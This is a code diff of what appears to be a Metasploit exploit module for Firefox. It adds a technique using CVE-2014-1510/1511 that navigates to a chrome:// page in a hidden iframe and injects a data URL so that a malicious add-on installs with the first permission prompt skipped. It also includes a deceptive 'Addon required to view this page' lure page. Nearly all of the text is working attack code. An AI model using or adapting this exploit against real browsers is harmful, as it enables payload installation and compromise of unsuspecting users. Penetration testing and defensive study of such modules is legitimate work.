@@ -28,13 +28,18 @@ def initialize( info = {} )
28
28
be "bootstrapped". As the addon will execute the payload after
29
29
each Firefox restart, an option can be given to automatically
30
30
uninstall the addon once the payload has been executed.
31
+
32
+ On Firefox 22.0 - 27.0, CVE-2014-1510 allows us to skip the
33
+ first half of the permissions prompt.
31
34
} ,
32
35
'License' => MSF_LICENSE ,
33
36
'Author' => [ 'mihi' , 'joev' ] ,
34
37
'References' =>
35
38
[
36
39
[ 'URL' , 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ] ,
37
- [ 'URL' , 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
40
+ [ 'URL' , 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ] ,
41
+ [ 'CVE' , '2014-1510' ] , # webidl chrome:// navigation to skip first half of prompt
42
+ [ 'CVE' , '2014-1511' ]
38
43
] ,
39
44
'DisclosureDate' => 'Jun 27 2007'
40
45
) )
@@ -67,10 +72,42 @@ def on_request_uri(cli, request)
67
72
end
68
73
69
74
def generate_html
70
- html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n |
71
- html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n |
72
- html << %Q|<script>window.location.href="addon.xpi";</script>\n |
73
- html << %Q|</body></html>|
74
- return html
75
+ %Q|
76
+ <html><head><title>Loading, Please Wait...</title></head>
77
+ <body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>
78
+ <div style='visibility:hidden;width:1px;height:1px;'>
79
+ <iframe name='f'></iframe>
80
+ </div>
81
+ <script>
82
+ function install() {
83
+ window.location.href="addon.xpi";
84
+ }
85
+ #{ web_idl_navigation }
86
+ </script>
87
+ </body>
88
+ </html>
89
+ |
90
+ end
91
+
92
+ # In firefox 21 - 27, there is a vulnerability that allows navigation to a chrome:// URL.
93
+ # From there you can load the browser XUL, and inject a data URL into a nested frame.
94
+ # If the data URL opens the .xpi URL, the first permission prompt gets skipped.
95
+ def web_idl_navigation
96
+ %Q|
97
+ try {
98
+ c = new mozRTCPeerConnection;
99
+ c.createOffer(function(){},function(){window.rr=window.open('chrome://browser/content/browser.xul', 'f')});
100
+ setTimeout(function(){
101
+ try {
102
+ frames[0].frames[1].location="data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
103
+ "{},function(){window.open('#{ get_uri . chomp ( '/' ) } /addon.xpi', '_self');});<\\ /script>";
104
+ } catch(e) {
105
+ install();
106
+ }
107
+ },600);
108
+ } catch(e) {
109
+ install();
110
+ }
111
+ |
75
112
end
76
113
end
0 commit comments